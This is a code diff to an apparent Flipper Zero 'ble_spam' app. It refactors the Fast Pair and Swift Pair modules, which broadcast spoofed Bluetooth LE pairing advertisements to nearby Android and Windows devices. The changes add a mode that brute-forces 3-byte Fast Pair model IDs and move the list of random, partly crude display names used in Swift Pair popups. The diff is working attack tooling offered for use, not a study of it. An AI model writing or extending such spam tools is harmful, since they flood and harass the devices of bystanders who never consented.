                 model_name = models[i].name;
@@ -136,6 +323,11 @@ static void fastpair_extra_config(Ctx* ctx) {
             model_name = model_name_buf;
             value_index = models_count + 1;
         }
+        break;
+    case PayloadModeBruteforce:
+        model_name = "Bruteforce";
+        value_index = models_count + 1;
+        break;
     }
     variable_item_set_current_value_index(item, value_index);
     variable_item_set_current_value_text(item, model_name);
@@ -145,31 +337,40 @@ static void fastpair_extra_config(Ctx* ctx) {
     variable_item_list_set_enter_callback(list, config_callback, ctx);
 }
 
-static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) {
-    UNUSED(_cfg);
+static uint8_t config_count(const Payload* payload) {
+    UNUSED(payload);
     return ConfigCOUNT - ConfigExtraStart - 1;
 }
 
 const Protocol protocol_fastpair = {
     .icon = &I_android,
-    .get_name = fastpair_get_name,
-    .make_packet = fastpair_make_packet,
-    .extra_config = fastpair_extra_config,
-    .config_count = fastpair_config_count,
+    .get_name = get_name,
+    .make_packet = make_packet,
+    .extra_config = extra_config,
+    .config_count = config_count,
 };
 
 static void model_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    Payload* payload = &ctx->attack->payload;
+    FastpairCfg* cfg = &payload->cfg.fastpair;
     switch(index) {
     case 0:
-        cfg->model = 0x000000;
+        payload->mode = PayloadModeRandom;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
     case models_count + 1:
         scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
         break;
+    case models_count + 2:
+        payload->mode = PayloadModeBruteforce;
+        payload->bruteforce.counter = 0;
+        payload->bruteforce.value = cfg->model;
+        payload->bruteforce.size = 3;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
     default:
+        payload->mode = PayloadModeValue;
         cfg->model = models[index - 1].value;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
@@ -177,30 +378,35 @@ static void model_callback(void* _ctx, uint32_t index) {
 }
 void scene_fastpair_model_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    Payload* payload = &ctx->attack->payload;
+    FastpairCfg* cfg = &payload->cfg.fastpair;
     Submenu* submenu = ctx->submenu;
     uint32_t selected = 0;
-    bool found = false;
     submenu_reset(submenu);
 
     submenu_add_item(submenu, "Random", 0, model_callback, ctx);
-    if(cfg->model == 0x000000) {
-        found = true;
+    if(payload->mode == PayloadModeRandom) {
         selected = 0;
     }
+
+    bool found = false;
     for(uint8_t i = 0; i < models_count; i++) {
         submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
-        if(!found && cfg->model == models[i].value) {
+        if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
             found = true;
             selected = i + 1;
         }
     }
     submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
-    if(!found) {
-        found = true;
+    if(!found && payload->mode == PayloadModeValue) {
         selected = models_count + 1;
     }
 
+    submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
+    if(payload->mode == PayloadModeBruteforce) {
+        selected = models_count + 2;
+    }
+
     submenu_set_selected_item(submenu, selected);
 
     view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
@@ -216,12 +422,18 @@ void scene_fastpair_model_on_exit(void* _ctx) {
 
 static void model_custom_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    FastpairCfg* cfg = &payload->cfg.fastpair;
+    payload->mode = PayloadModeValue;
+    cfg->model =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
     scene_manager_previous_scene(ctx->scene_manager);
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_fastpair_model_custom_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    Payload* payload = &ctx->attack->payload;
+    FastpairCfg* cfg = &payload->cfg.fastpair;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Enter custom Model Code");
@@ -241,8 +453,5 @@ bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
     return false;
 }
 void scene_fastpair_model_custom_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
-    cfg->model =
-        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+    UNUSED(_ctx);
 }

+ 42 - 28
ble_spam/protocols/swiftpair.c

@@ -4,27 +4,33 @@
 // Hacked together by @Willy-JL and @Spooks4576
 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
 
-static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
-    UNUSED(_cfg);
+const char* names[] = {
+    "Assquach💦",
+    "Flipper 🐬",
+    "iOS 17 🍎",
+    "Kink💦",
+    "👉👌",
+    "🔵🦷",
+};
+const uint8_t names_count = COUNT_OF(names);
+
+static const char* get_name(const Payload* payload) {
+    UNUSED(payload);
     return "SwiftPair";
 }
 
-static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
-    const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
+static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
+    SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL;
 
     const char* name;
-    if(cfg && cfg->name[0] != '\0') {
+    switch(cfg ? payload->mode : PayloadModeRandom) {
+    case PayloadModeRandom:
+    default:
+        name = names[rand() % names_count];
+        break;
+    case PayloadModeValue:
         name = cfg->name;
-    } else {
-        const char* names[] = {
-            "Assquach💦",
-            "Flipper 🐬",
-            "iOS 17 🍎",
-            "Kink💦",
-            "👉👌",
-            "🔵🦷",
-        };
-        name = names[rand() % COUNT_OF(names)];
+        break;
     }
     uint8_t name_len = strlen(name);
 
@@ -66,43 +72,48 @@ static void config_callback(void* _ctx, uint32_t index) {
         break;
     }
 }
-static void swiftpair_extra_config(Ctx* ctx) {
-    SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
+static void extra_config(Ctx* ctx) {
+    Payload* payload = &ctx->attack->payload;
+    SwiftpairCfg* cfg = &payload->cfg.swiftpair;
     VariableItemList* list = ctx->variable_item_list;
     VariableItem* item;
 
     item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
-    variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
+    variable_item_set_current_value_text(
+        item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
 
     variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
 
     variable_item_list_set_enter_callback(list, config_callback, ctx);
 }
 
-static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) {
-    UNUSED(_cfg);
+static uint8_t config_count(const Payload* payload) {
+    UNUSED(payload);
     return ConfigCOUNT - ConfigExtraStart - 1;
 }
 
 const Protocol protocol_swiftpair = {
     .icon = &I_windows,
-    .get_name = swiftpair_get_name,
-    .make_packet = swiftpair_make_packet,
-    .extra_config = swiftpair_extra_config,
-    .config_count = swiftpair_config_count,
+    .get_name = get_name,
+    .make_packet = make_packet,
+    .extra_config = extra_config,
+    .config_count = config_count,
 };
 
 static void name_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    payload->mode = PayloadModeValue;
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_swiftpair_name_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
+    Payload* payload = &ctx->attack->payload;
+    SwiftpairCfg* cfg = &payload->cfg.swiftpair;
     TextInput* text_input = ctx->text_input;
     text_input_reset(text_input);
 
-    text_input_set_header_text(text_input, "Leave empty for random");
+    text_input_set_header_text(text_input, "Press back for random");
 
     text_input_set_result_callback(
         text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
@@ -112,8 +123,11 @@ void scene_swiftpair_name_on_enter(void* _ctx) {
     view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
 }
 bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
-    UNUSED(_ctx);
-    UNUSED(event);
+    Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    if(event.type == SceneManagerEventTypeBack) {
+        payload->mode = PayloadModeRandom;
+    }
     return false;
 }
 void scene_swiftpair_name_on_exit(void* _ctx) {

+ 1 - 1
ble_spam/scenes/config.c

@@ -19,7 +19,7 @@ static void config_callback(void* _ctx, uint32_t index) {
     if(!ctx->attack->protocol) {
         index--;
     } else if(ctx->attack->protocol->config_count) {
-        uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg);
+        uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload);
         if(index > extra) index -= extra;
     }